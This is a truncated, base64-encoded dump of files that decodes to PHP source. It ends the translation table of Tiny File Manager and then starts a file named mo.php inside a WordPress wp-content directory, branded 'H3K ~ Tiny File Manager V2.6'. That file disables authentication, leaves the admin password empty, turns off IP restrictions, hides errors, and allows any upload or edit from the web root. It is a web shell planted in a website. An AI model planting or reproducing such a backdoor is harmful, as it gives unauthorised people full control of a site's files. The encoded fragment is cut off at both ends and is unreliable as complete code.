mFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifSx7InBhdGgiOiJcL2hvbWVcL2xham1peHhcL2FwcHNcL2xham1peHhcL3dwLWNvbnRlbnRcL21vLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbiAgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XC9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3V